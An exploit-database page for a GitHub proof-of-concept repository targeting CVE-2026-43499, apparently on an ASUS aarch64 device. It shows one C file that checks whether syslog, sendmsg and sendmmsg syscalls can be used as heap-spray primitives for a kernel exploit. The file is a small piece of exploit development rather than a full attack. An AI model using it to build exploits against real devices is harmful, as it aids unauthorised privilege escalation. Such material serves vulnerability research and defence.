Exploit database

GH-c138f49e12cfbda9c38e831e92b126e9

huaguiqi/asus-i005-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files38
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/legacy/spray2_min.c

C · 3,013 bytes
/*
 * 候选 2 最小可用性测试:
 *   syslog   - syscall 103 (aarch64)
 *   sendmsg  - syscall 211
 *   sendmmsg - syscall 269
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/socket.h>

#ifndef SYS_syslog
#define SYS_syslog 103
#endif
#ifndef SYS_sendmsg
#define SYS_sendmsg 211
#endif
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 269
#endif

int main(int argc, char **argv)
{
    if (argc < 2) { fprintf(stderr, "用法: %s syslog|sendmsg|sendmmsg\n", argv[0]); return 1; }

    if (strcmp(argv[1], "syslog") == 0) {
        /* syslog(2, buf, len): action 2 = READ_ALL */
        char buf[64] = {0};
        dprintf(2, "before syslog\n"); fflush(stderr);
        long r = syscall(SYS_syslog, 2, buf, sizeof(buf));
        dprintf(2, "after syslog ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
        return 0;
    }

    if (strcmp(argv[1], "sendmsg") == 0) {
        int sv[2];
        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) != 0) { perror("socketpair"); return 1; }
        struct {
            void *msg_name;
            unsigned int msg_namelen;
            void *msg_iov;
            unsigned long msg_iovlen;
            void *msg_control;
            unsigned long msg_controllen;
            unsigned int msg_flags;
        } msg;
        char payload[64] = {0x41};
        struct { void *base; unsigned long len; } iov;
        iov.base = payload; iov.len = sizeof(payload);
        memset(&msg, 0, sizeof(msg));
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        dprintf(2, "before sendmsg\n"); fflush(stderr);
        long r = syscall(SYS_sendmsg, sv[0], &msg, 0);
        dprintf(2, "after sendmsg ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
        close(sv[0]); close(sv[1]);
        return 0;
    }

    if (strcmp(argv[1], "sendmmsg") == 0) {
        int sv[2];
        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) != 0) { perror("socketpair"); return 1; }
        char payload[64] = {0x41};
        struct { void *base; unsigned long len; } iov;
        iov.base = payload; iov.len = sizeof(payload);
        struct {
            void *msg_name;
            unsigned int msg_namelen;
            void *msg_iov;
            unsigned long msg_iovlen;
            void *msg_control;
            unsigned long msg_controllen;
            unsigned int msg_flags;
        } msg;
        memset(&msg, 0, sizeof(msg));
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        struct { void *msg_hdr; unsigned int msg_len; } mmsghdr;
        mmsghdr.msg_hdr = &msg;
        mmsghdr.msg_len = 0;
        dprintf(2, "before sendmmsg\n"); fflush(stderr);
        long r = syscall(SYS_sendmmsg, sv[0], &mmsghdr, 1, 0);
        dprintf(2, "after sendmmsg ret=%ld errno=%d (%s)\n", r, errno, strerror(errno));
        close(sv[0]); close(sv[1]);
        return 0;
    }

    fprintf(stderr, "未知: %s\n", argv[1]);
    return 1;
}